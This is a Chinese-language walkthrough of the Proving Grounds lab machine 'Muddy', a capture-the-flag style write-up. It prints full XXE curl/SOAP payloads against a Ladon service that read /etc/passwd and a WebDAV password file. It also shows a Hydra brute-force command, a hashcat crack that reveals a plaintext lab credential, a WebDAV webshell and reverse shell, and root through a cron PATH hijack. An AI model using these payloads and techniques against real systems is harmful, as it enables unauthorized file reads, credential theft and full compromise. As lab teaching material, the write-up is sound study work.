Proving Grounds Practice : Muddy Walkthrough
Proving Grounds Practice : Muddy Walkthrough
Foothold :
- 80 發現 WordPress 與需要驗證的 WebDAV 路徑
- 在 8888 發現 Ladon 服務,Exploit 查找後利用 XXE 讀取檔案
- 讀取 WebDAV 常使用的驗證檔案 passwd.dav 後獲取一組憑證
- 使用該組憑證登入 WebDAV 上傳 webshell 後利用拿到 Reverse Shell
PE :
- Cron tab 固定執行的指令環境變數利用後提權成功
Rustscan,└─$ rustscan -a 192.168.223.161 --scripts none --ulimit 5000 | tee rustscan
nmap,└─$ sudo nmap -sCV -A -p 22,25,80,111,8888 192.168.223.161 | tee nmap
25/tcp open smtp Exim smtpd 4.92
80/tcp open http Apache httpd 2.4.38 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
8888/tcp open http WSGIServer 0.1 (Python 2.7.16)
whatweb 發現 muddy.ugc 無法正常解析,將該名稱加到 Hosts File 指向靶機
muddy.ugc 看來是個 WordPress 站台
80 / 轉 muddy.ugc
使用搜尋功能輸入 index 網址為 http://muddy.ugc/?s=index
Path Traversal 測試 ../../../../../../../../etc/passwd
http://muddy.ugc/robots.txt
wpscan 掃描使用者,wpscan --url http://muddy.ugc --enumerate u
沒有找到有用的帳號
8888 /
8888 /muddy
網頁有告知使用方法 Methods 是使用 checkout 然後 string 使用方式是 uid:string
會返回 string 值,string 看來是個可能可以利用的東西
測試看看 http://muddy.ugc:8888/muddy/checkout?uid:/etc/passwd 沒有成功
後續使用 Exploit-DB 搜尋 Ladon 發現 43113,內容描述就是 Ladon SOAP POST 利用
然後像 Path Traversal 一樣去讀取特定檔案
參考 POC
修改符合靶機的名稱與格式
=========================================================================
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
=========================================================================
可以成功直接讀取到 /etc/passwd
使用 Burp Suite 只送 BODY 如下看看
=========================================================================
<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:urn="urn:HelloService"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<uid xsi:type="xsd:string">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>
=========================================================================
送出後一樣可以讀取到 /etc/passwd
整理完如下,僅有一個使用者 ian
讀取 /home/ian/.ssh/id_rsa 失敗,看來沒有該檔案
改讀取 /home/ian/.ssh/authorized_keys 看看有沒有該檔案的存在,看來一樣沒有
所以讀取使用者的 id_rsa 這條路看來是死的
測試 WebDAV ian:ian 等基本組合都 GG......
用使用者帳號 ian 然後 hydra 爆破 SSH 看看,跑了半小時都沒有爆破出來
└─$ hydra -l ian -P /usr/share/wordlists/rockyou.txt ssh://192.168.223.161 -V
讀取 /etc/httpd/conf.d/webdav.conf 一樣不存在
讀取 /etc/httpd/.htpasswd 一樣不存在
之後在某篇文章看到,WebDAV 的密碼也可以設定成 passwd.dav
這裡將存取的檔案路徑改成 /var/www/html/webdav/passwd.dav
=========================================================================
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
=========================================================================
順利讀到一串值 administrant:$apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0
Burp Suite 測試讀取如下
=========================================================================
<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">
]>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:urn="urn:HelloService"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<uid xsi:type="xsd:string">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>
=========================================================================
將抓到的 HASH 值 $apr1$GUG1OnCu$uiSLaAQojCm14lPMwISDi0
對照 Hastcat 格式,看來是 Apache MD5 格式
hashcat 解解看,└─$ hashcat -m 1600 admin.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
解出來了,獲得憑證 administrant:sleepless
WebDAV 測試看看
過了,發現有個檔案 passwd.dav
內容就是上面利用 Ladon 漏洞讀取到的檔案內容
直接使用 cadaver 登入 WebDAV 試試看,└─$ cadaver http://muddy.ugc/webdav
瀏覽器也有看到
點選後輸入 whoami 試試看,可以正常執行沒有問題
使用最愛的 RM 指令獲取 Reverse Shell,獲取第一階段 flag local.txt
開始 PE,sudo -l 不知道 www-data 的密碼
SUID check
查看可寫入的資料夾,find / -writable -type d 2>/dev/null
cat /etc/crontab
發現有個固定執行的 netstat 指令
pspy64 看一下,每分鐘都會固定執行一次該 cron job
現在已知背影每分鐘會固定執行 netstat 的狀態確認去寫入到檔案 /root/status
所以可以想想看如何利用 netstat,看看 netstat 可否利用,看來可以執行但無法修改
跑跑看 linpeas
發現 [+] [CVE-2019-13272] PTRACE_TRACEME 且是高可利用性,其他都是低
下載 CVE-2019-13272.c 然後用 gcc 編譯後執行,發現 GG.....
另外測試低可利用性但有用過的 [+] [CVE-2021-3156] sudo Baron Samedit
接著測試 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write
一樣是下載 exploit.c 然後編譯與執行,結果一樣 GG.....
最後一個 [+] [CVE-2019-18634] sudo pwfeedback
都一樣是 exploit.c,編譯後利用結果要 www-data 的密碼,因為不知道所以也是 GG......
繼續往下看,一樣在 cron job 的資訊發現橘色,尤其是這兩行
SHELL=/bin/sh
PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
簡單講就是背景使用 root 執行 netstat 時會參考環境變數的路徑
然後第一個是 /dev/shm,這裡面沒有 netstat 指令
所以我們只要編譯一個 netstat 指令讓背景去執行利用即可
切換到 /dev/shm 後查看一下發現該路徑沒有任何東西
直接使用 RM Reverse Shell 指令編寫一個 netstat 檔案
然後給予執行權限
等不到一分鐘,4446 Reverse Shell 進來了,whoami 確認是 root,獲取 proof.txt
補充說明 :
在列舉 cat /etc/crontab 的時候就有說明使用的 shell
只是當時沒有去注意與查看 /dev/shm 這個路徑
是使用 linpeas 時,亮橘燈才看到,所以 linpeas 真的是個好東西
留言
張貼留言